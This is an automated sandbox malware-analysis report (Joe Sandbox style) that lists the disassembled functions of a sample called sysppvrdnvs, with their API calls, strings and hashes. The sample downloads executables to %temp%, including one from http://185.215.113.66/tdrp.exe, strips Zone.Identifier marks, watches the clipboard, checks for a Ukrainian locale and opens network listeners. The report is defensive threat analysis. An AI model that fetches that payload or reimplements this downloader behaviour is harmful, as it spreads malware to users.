listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,Function_00001100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 0040F560 Relevance: 75.5, APIs: 36, Strings: 7, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

.#v, xrefs: 0040F6DB, 0040F77B
%s:Zone.Identifier, xrefs: 0040F838
%s\%d%d.exe, xrefs: 0040F7FB
%s:Zone.Identifier, xrefs: 0040F6E8
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605
%temp%, xrefs: 0040F58B
%s\%d%d.exe, xrefs: 0040F5E8

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$.#v
API String ID: 1632876846-885412783
Opcode ID: 96f0a69f3da845a58fc131bbffdea3f28c32c868df6781a1e5befd7d1371e6b2
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: 96f0a69f3da845a58fc131bbffdea3f28c32c868df6781a1e5befd7d1371e6b2
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 004064A0 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 111
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

.#v, xrefs: 004065F2, 0040662D
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
http://185.215.113.66/tdrp.exe, xrefs: 00406546
%temp%, xrefs: 004064CB
%s\%d%d.exe, xrefs: 00406505
%s:Zone.Identifier, xrefs: 004065FD

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe$.#v
API String ID: 2816847299-151917633
Opcode ID: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
Opcode Fuzzy Hash: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

.127., xrefs: 0040B8CD
.192., xrefs: 0040B92C
.192, xrefs: 0040B90E
127., xrefs: 0040B891
.127, xrefs: 0040B8AF
0.0.0.0, xrefs: 0040B86E
192., xrefs: 0040B8F0
10., xrefs: 0040B94F
.10, xrefs: 0040B96D
.10., xrefs: 0040B98B

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6
<, xrefs: 0040EFA0
POST, xrefs: 0040F05E

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

.#v, xrefs: 004016FF
PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.#v
API String ID: 2403999931-387814812
Opcode ID: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

0, xrefs: 004058E0
%x%X, xrefs: 0040591A

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
